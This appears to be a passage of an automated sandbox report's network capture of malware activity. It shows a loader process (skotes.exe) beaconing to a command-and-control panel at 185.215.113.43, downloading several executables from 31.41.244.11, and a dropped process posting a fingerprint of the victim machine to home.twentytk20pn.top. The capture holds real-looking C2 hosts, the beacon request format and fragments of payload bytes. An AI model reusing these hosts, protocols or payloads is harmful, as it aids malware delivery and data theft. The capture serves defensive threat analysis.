Dec 19, 2024 20:11:26.544326067 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 38 31 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017818001&unit=246122658369
Dec 19, 2024 20:11:27.895169973 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 19:11:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49815	31.41.244.11	80	1900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 20:11:28.018979073 CET	61	OUT	GET /files/wicked/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 20:11:29.344480991 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 19:11:29 GMT Content-Type: application/octet-stream Content-Length: 1114112 Last-Modified: Thu, 19 Dec 2024 03:43:46 GMT Connection: keep-alive ETag: "67639672-110000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 24 95 63 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 cc 10 00 00 32 00 00 00 00 00 00 ee ea 10 00 00 20 00 00 00 00 11 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 11 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 ea 10 00 57 00 00 00 00 00 11 00 48 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 11 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL$cg02 @ `@WH/@ H.text `.rsrcH/0@@.reloc@@BH<K`pY?F60584zc:VN01O*S~IpRiIPn}iJ!BH+o/Syj8T'}yIkD'$6}w[ )j[-0\|ph\LRT~bKh"8s`)1 [i&9a?FN~_^Q43L@vxIB4\|(~YLS;x)wv:2y%{3w)^7@7k
Dec 19, 2024 20:11:29.344681025 CET	1236	IN	Data Raw: c5 aa 48 9b ae 70 7d f1 84 22 02 e3 af 25 ff 70 0b a7 0d f0 30 e9 b8 67 c4 33 a1 c7 f4 e2 67 07 b9 1d 13 d5 b0 15 b7 9a 9c f0 4c 20 85 a8 02 8b 95 86 b3 8e 7d 65 ab 63 4d 56 2e 77 fb 94 14 cb 5e 76 61 bc 07 61 d8 0e 44 fa a3 52 50 b7 c7 84 0f 72 Data Ascii: Hp}"%p0g3gL }ecMV.w^vaaDRPr\|>CNbYluH#61Z:';)5q2}KK'Rm!a;ijxL8MMWYbp{,mgT%(9<_{;
Dec 19, 2024 20:11:29.344695091 CET	448	IN	Data Raw: 05 00 00 00 b9 00 00 00 1b 00 00 00 c6 ff ff ff 97 00 00 00 2e 00 00 00 6c 00 00 00 38 b4 00 00 00 11 06 1e 2f 08 20 0c d2 b0 d2 25 2b 06 20 34 8c 71 eb 25 26 2b b0 16 6a 0d 11 08 20 39 d6 68 ed 5a 20 3b 9a 58 f3 61 2b 9d 16 13 06 11 08 20 e5 18 Data Ascii: .l8/ %+ 4q%&+j 9hZ ;Xa+ -0Z Ka++o&o Z <c_a8_X =Z fua8Fo 84nZ?_b` <oZ v^a8i+%sojY
Dec 19, 2024 20:11:29.344948053 CET	1236	IN	Data Raw: 00 21 01 00 00 5f 01 00 00 38 03 00 00 8a 01 00 00 f9 01 00 00 d4 02 00 00 d9 01 00 00 38 12 04 00 00 16 13 04 11 0c 20 3c 79 c3 e2 5a 20 b7 80 4f 15 61 38 44 ff ff ff 11 04 6a 06 6e 32 08 20 0c 40 97 01 25 2b 06 20 4f e4 5e 15 25 26 38 29 ff ff Data Ascii: !_88 <yZ Oa8Djn2 @%+ O^%&8)/ 7%+ & &%&8aa Z ]a8, NZ a8aa hZ `Ba8X ~Z [Ba
Dec 19, 2024 20:11:29.344961882 CET	1236	IN	Data Raw: 25 17 58 10 00 91 1f 18 62 60 13 04 7e 01 00 00 04 02 25 17 58 10 00 91 7e 01 00 00 04 02 25 17 58 10 00 91 1e 62 60 7e 01 00 00 04 02 25 17 58 10 00 91 1f 10 62 60 7e 01 00 00 04 02 25 17 58 10 00 91 1f 18 62 60 13 05 d0 01 00 00 1b 28 12 00 00 Data Ascii: %Xb`~%X~%Xb`~%Xb`~%Xb`(o( J6Z a8 ?_ `Z a8~( Z a8nj3 7r%+ L%&8~Y(
Dec 19, 2024 20:11:29.345340014 CET	1236	IN	Data Raw: 61 38 68 fd ff ff 07 2a 00 13 30 08 00 00 03 00 00 04 00 00 11 02 20 c1 36 74 93 5a 20 cf 5e 4e d7 61 10 00 20 8c 8c 7a 92 20 f5 f7 b7 f8 61 25 13 07 1f 12 5e 45 12 00 00 00 eb 00 00 00 51 00 00 00 c7 01 00 00 06 01 00 00 05 00 00 00 f4 01 00 00 Data Ascii: a8h*0 6tZ ^Na z a%^EQl]0n88 Z -vza+ E;Z @a8w ?_b 7Z a8V dZ ]a8;~
Dec 19, 2024 20:11:29.345354080 CET	1236	IN	Data Raw: 04 02 25 17 58 10 00 91 1e 62 60 7e 01 00 00 04 02 25 17 58 10 00 91 1f 10 62 60 7e 01 00 00 04 02 25 17 58 10 00 91 1f 18 62 60 13 05 11 07 20 03 fc db 6c 5a 20 cd a7 16 da 61 38 21 fe ff ff d0 01 00 00 1b 28 12 00 00 0a 6f 13 00 00 0a 11 05 28 Data Ascii: %Xb`~%Xb`~%Xb` lZ a8!(o( 9Z }+a8 gZ i~a8nj3 N}bf%+ OJd%&8~Y( AZ _a8nj. uBP%+ t$%& o0$Za8z~%X
Dec 19, 2024 20:11:29.345366001 CET	896	IN	Data Raw: 01 00 00 75 00 00 00 7c 01 00 00 4f 00 00 00 22 00 00 00 ba 00 00 00 38 77 01 00 00 03 25 7b 07 00 00 04 1e 62 7d 07 00 00 04 07 20 a1 b2 ad 2a 5a 20 ee 76 9e 7e 61 2b a2 03 03 7b 06 00 00 04 1e 62 03 7b 08 00 00 04 6f 0e 00 00 0a d2 60 7d 06 00 Data Ascii: u\|O"8w%{b} *Z v~a+{b{o`} t!Z Ka8u%{Y}%{Y} <8O%{b} !Z +fba8/{7 kR%+ 48`%& HZa8{{dY}{ 7
Dec 19, 2024 20:11:29.345777988 CET	1236	IN	Data Raw: 7b 96 25 2b 06 20 12 19 2d 98 25 26 2b 8a 08 17 58 0c 11 04 20 51 23 66 ec 5a 20 be 2a aa 6e 61 38 73 ff ff ff 06 09 58 0a 07 09 08 1f 1f 5f 62 60 0b 11 04 20 49 fd 60 0f 5a 20 30 5c 39 af 61 38 53 ff ff ff 07 2a 00 00 13 30 06 00 cf 00 00 00 07 Data Ascii: {%+ -%&+X Q#fZ na8sX_b` I`Z 0\9a8S0 v ICa%^EgT08X zZ Pa+X( q+bX_b` Z 1Sa8\| \Z ma8i
Dec 19, 2024 20:11:29.346014023 CET	1236	IN	Data Raw: 49 61 25 0b 1c 5e 45 06 00 00 00 19 00 00 00 4a 00 00 00 d4 ff ff ff 32 00 00 00 60 00 00 00 02 00 00 00 2b 5e 06 6a 1a 6a 2f 08 20 0d fc bb 08 25 2b 06 20 27 17 12 1d 25 26 2b c0 02 7b 13 00 00 04 06 1c 73 0b 00 00 06 a4 03 00 00 02 20 56 ce 72 Data Ascii: Ia%^EJ2`+^jj/ %+ '%&+{s Vrh+} C^Z kJ}a+X Z ca8y*0{.z OR a?a%^EV;+T}{(}{ ( Z 0
Dec 19, 2024 20:11:29.464432955 CET	1236	IN	Data Raw: 39 5e 45 39 00 00 00 d7 06 00 00 bc 06 00 00 43 05 00 00 d6 02 00 00 58 00 00 00 f9 01 00 00 3e 00 00 00 4c 06 00 00 44 04 00 00 84 04 00 00 2c 06 00 00 e9 00 00 00 3c 02 00 00 ec 06 00 00 31 03 00 00 c9 03 00 00 cc 01 00 00 2b 00 00 00 f5 04 00 Data Ascii: 9^E9CX>LD,<1+)K.5uF}u~k/ft8{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49835	185.215.113.43	80	1900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 20:11:33.993206978 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 38 32 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017821001&unit=246122658369
Dec 19, 2024 20:11:35.346671104 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 19:11:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49842	31.41.244.11	80	1900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 20:11:35.470248938 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 20:11:36.798912048 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 19:11:36 GMT Content-Type: application/octet-stream Content-Length: 4421632 Last-Modified: Thu, 19 Dec 2024 18:09:11 GMT Connection: keep-alive ETag: "67646147-437800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e0 55 60 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 3e 44 00 00 2e 64 00 00 32 00 00 00 90 b4 00 00 10 00 00 00 50 44 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 c0 b4 00 00 04 00 00 11 50 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 61 00 73 00 00 00 00 80 61 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 7a b4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 7a b4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELU`g(>D.d2PD@PD@ _asaztz pa>(@.rsrcaN(@.idata aP(@ 7aR(@jjnhjgowT(@esuyrufdRC@.taggant0"VC@
Dec 19, 2024 20:11:36.798954964 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 20:11:36.799050093 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 20:11:36.799263000 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 20:11:36.799278975 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 20:11:36.799335957 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: q]\`\pioY_o92
Dec 19, 2024 20:11:36.799674988 CET	1236	IN	Data Raw: f6 9a d0 95 78 72 1b e3 05 d2 a9 ec 13 ad b6 1e cc 14 8e 8d fd 55 cd bb 12 6d 6a 99 b5 69 f9 c9 eb 54 51 90 fb b6 59 44 7b 23 99 0f b9 aa 03 1b b6 04 69 53 fa 04 14 22 ab 29 e2 4a 7c e7 62 6b d1 5d 22 9b 1f 9d 67 63 9c 5b 6a 05 5c eb 79 32 66 b6 Data Ascii: xrUmjiTQYD{#iS")J\|bk]"gc[j\y2f5~'YZ/]:A_*p9(t0jqExlFAZCm@a^{Dvf^61ALwhjCYo=-Zp6<5y{Eh-}B
Dec 19, 2024 20:11:36.799705029 CET	1236	IN	Data Raw: 43 af 21 bb 46 ff 3b 7a 11 da 0e f1 fa 72 7d 7f ae 9f 22 59 bd c2 08 8b bf 5d b8 61 2e 45 54 18 a6 bf df d8 3b 10 e5 30 38 6e 26 b1 d5 12 3d de ca 98 f4 07 33 3b 38 70 bc 56 81 7a c7 df 9e 35 be e2 22 41 94 79 ac 57 49 dd ad 31 c5 40 4f 7b 02 36 Data Ascii: C!F;zr}"Y]a.ET;08n&=3;8pVz5"AyWI1@O{6a-3;drjmpybtak\|Ce]iL}q}=-;l8ZGL0@W;T{*qJG,"x/<1!AeaEz$dv-v1:5:-gti%p{ikEniIZ7
Dec 19, 2024 20:11:36.799747944 CET	1236	IN	Data Raw: ca 95 4f a4 ad 80 f4 32 40 de 2b 5d 1a 37 7d 93 c2 91 08 90 81 f7 ae 14 54 f3 97 6e c5 89 e7 ed b3 fa 90 88 0f 69 99 ef d8 53 88 dd 92 69 8d 7c 03 1d 68 0f cb 9c 4f 72 e5 9c b5 3a fe 25 63 7a c7 1f 22 89 f5 1f dc 7d da b0 5c 6d a3 d5 75 81 aa c9 Data Ascii: O2@+]7}TniSi\|hOr:%cz"}\mu7(nS:4oxXsiAx'hvJyK{<<7nn\|jt~ds1-eoi}D9DoJs6$awtq!mh#9S(}
Dec 19, 2024 20:11:36.799768925 CET	1236	IN	Data Raw: 6d 95 de 8b e9 8e e9 74 ca 6a 24 ab 60 51 ce 53 9c 55 23 2a a1 8e db fb ca 9c 2d b8 6e 27 0e 3c 81 0b 23 2b ca 7b 0d e0 b4 a1 62 a2 73 1d 14 3c 2a e8 0c 73 1e 5e 05 e0 c5 1d 91 86 c9 c6 62 61 fd 11 e0 bf 86 cc ca ed 3d f6 1e 1e db 64 d8 f0 c8 73 Data Ascii: mtj$`QSU#-n'<#+{bs<s^ba=dsO5Ux}T6}6LA*{eg{vfbO_`e)9]^!~Au]nXSj)!NP[m1%UZY8&%p5\'z
Dec 19, 2024 20:11:36.918751001 CET	1236	IN	Data Raw: fd c1 d5 e9 aa ee c9 b3 02 5d 5c 20 f0 65 39 e5 66 67 96 a3 b0 1b 15 4d eb d8 da 01 52 aa 69 79 1d 60 d6 2c b6 5f 6c ed 86 7e 9e 39 ab 18 77 62 ae 3a 53 63 6a e2 95 64 70 df 70 66 20 c6 5c 14 9a 5f 97 8e 9f 2c b6 95 d0 61 05 86 15 41 5b 61 b9 a5 Data Ascii: ]\ e9fgMRiy`,_l~9wb:Scjdppf \_,aA[a3o]9\>0IM@gQfpL6!0ar8"\D#l)(>$-RZk$V$zLAm8Mjegj^vmM<IuSd`i5e\|y>w{jy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49872	185.215.113.43	80	1900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 20:11:46.237951040 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 38 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017822001&unit=246122658369
Dec 19, 2024 20:11:47.588742018 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 19:11:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49877	31.41.244.11	80	1900	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 20:11:47.929794073 CET	61	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 20:11:49.253554106 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 19:11:49 GMT Content-Type: application/octet-stream Content-Length: 4423680 Last-Modified: Thu, 19 Dec 2024 18:54:08 GMT Connection: keep-alive ETag: "67646bd0-438000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 09 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 56 48 00 00 fc 76 00 00 32 00 00 00 50 c7 00 00 10 00 00 00 70 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 80 c7 00 00 04 00 00 41 79 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 74 00 73 00 00 00 00 60 74 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 33 c7 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 33 c7 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELcg(VHv2PpH@AyD@ _pts`tX33 PtL(@.rsrc`t\(@.idata pt^(@ 7t`(@ctknaohd@b(@tteedpjp@XC@.taggant0P"^C@
Dec 19, 2024 20:11:49.253612995 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 20:11:49.253621101 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 20:11:49.253873110 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 20:11:49.253882885 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 20:11:49.253899097 CET	672	IN	Data Raw: 87 6d 06 ca c6 fc 6c 86 6a 3d 64 d9 44 cc 32 01 d1 aa d1 9d 44 71 04 db 7a e7 15 37 0a be 26 ec e6 af 61 84 0b 21 a5 db b3 3d 1a 4f 1c 36 ac bb f1 73 fc 4b c0 35 6b f0 9c 44 a2 46 59 73 ea 5e d6 86 be 10 1c f2 2b 57 cf 7f f6 b3 ec 52 5e ee f3 6c Data Ascii: mlj=dD2Dqz7&a!=O6sK5kDFYs^+WR^l`}N&?[4Hmxxjg\LVQY$>FW)iR>$;>nF*hT;7Rk}&d74xj=nGJ']/d,{TQW;H.ns5a8jl
Dec 19, 2024 20:11:49.254364967 CET	1236	IN	Data Raw: db 04 a4 90 cc e5 c9 72 df b9 5e fd 35 94 b6 7f 23 d3 4c 1c 76 55 64 58 1d cd 50 23 47 0c f0 4e 13 b5 0a fb 24 2d 8b 85 dd ff fa 50 4f 36 9a 4b a7 f6 fa a8 ae 09 2c df ee be 1b fe 0a dd 6a 8d 7c 05 cc 59 19 1b 34 60 59 0b e0 46 67 0e 5b a6 bd f1 Data Ascii: r^5#LvUdXP#GN$-PO6K,j\|Y4`YFg[bZr0,jCD)lH`V\ZeEzk~[O]r]bV\.HPB`p?7HFB&1}\B+7YqP\88uii`
Dec 19, 2024 20:11:49.254374027 CET	1236	IN	Data Raw: 36 75 d2 b3 1e 2a 13 9e b1 35 e7 a8 6f 4b 25 68 61 dd 50 d0 69 2e 37 5c ef 0b 36 3f 6e f8 9c 98 8e 8b 52 85 7a d7 6c 61 96 69 e5 7d fd 33 fb 97 a3 d0 b2 98 58 36 13 05 55 e8 72 a8 8b 7f 3f 50 23 34 98 0d 53 0f e7 d2 d6 20 f4 c4 f2 66 6a 56 f4 2a Data Ascii: 6u5oK%haPi.7\6?nRzlai}3X6Ur?P#4S fjV!qhXk)+{2MZ}xTvTb7zQz>-Zh5?7HVU\|e,iDOVGGV5uM^\;VW$kZ7U6SZY4H.IbPJ];)RD+:D
Dec 19, 2024 20:11:49.254381895 CET	448	IN	Data Raw: 20 cc e7 38 e7 74 8d d3 a4 fa b0 9f 6c 75 58 78 dc f1 5a 46 b8 87 b5 3b fa c5 ab 70 15 f9 67 dd 1c 70 94 94 a8 b6 a2 74 0e 9e 1b 83 0f b6 d2 d2 e2 e9 9b 39 d7 8d 7c cc ed 7e 0d 9e 6b c5 76 4d d0 c1 eb ec fa f6 ae 4f 68 24 72 0e 3d c4 90 9f 27 b9 Data Ascii: 8tluXxZF;pgpt9\|~kvMOh$r='BmVU-k.$_=[,\`MK8=2~AbN5:.m,vcih:v1^wh/^k09~' @"\|jY2$%ijQ@Di
Dec 19, 2024 20:11:49.254396915 CET	1236	IN	Data Raw: 43 a6 58 d2 9b ec f9 63 59 3b 71 a0 ea 3c e0 26 c7 3b 7b ec a4 d9 15 11 f5 1c 76 e4 9b cd 66 27 dd 5f 1e 32 f4 0d 98 64 e9 3d 05 6e f4 0e 19 bf a5 63 9b 6e 93 45 68 d0 81 84 a7 8f 9f ab 4b e5 c8 62 b1 4e e8 97 5d c4 1f 85 6d d8 a7 5a 93 fc 72 60 Data Ascii: CXcY;q<&;{vf'_2d=ncnEhKbN]mZr`SM`m8ekMHiLd==o,2D}v &Lij}^v`jg^@%Nv8T=3<zjaVk2C=iv[:y\9w-+ U
Dec 19, 2024 20:11:49.374068975 CET	1236	IN	Data Raw: 4a ed 92 5b b4 fd be 82 bc 19 78 5d ed aa 92 73 05 3d 8d 5f b5 50 cc da f8 ed bb 40 40 7d 50 05 b5 9d 62 71 25 13 a9 1d c7 c7 7d 45 b2 65 ba 89 9a c1 93 3f 48 2c 40 72 e1 3e 16 20 79 1c c4 02 d5 a7 82 37 53 f1 85 1c 40 04 8d 01 bf a5 98 58 91 20 Data Ascii: J[x]s=_P@@}Pbq%}Ee?H,@r> y7S@X 6!^zU}UB<'0zr5[iu.iC&:dEX1j66rzr[u.uT]K(2i<x^>4}Ox=:T[Q8\|#y/}Q2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49886	147.45.113.159	80	1984	C:\Users\user\AppData\Local\Temp\1017822001\977f9058dc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 20:11:51.886737108 CET	12360	OUT	POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1 Host: home.twentytk20pn.top Accept: / Content-Type: application/json Content-Length: 438855 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 36 33 35 35 30 38 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734635508", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 26, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 324 }, { "name": "csrss.exe", "pid": 408 }, { "name": "wininit.exe", "pid": 484 }, { "name": "csrss.exe", "pid": 492 }, { "name": "winlogon.exe", "pid": 552 }, { "name": "services.exe", "pid": 620 }, { "name": "lsass.exe", "pid": 628 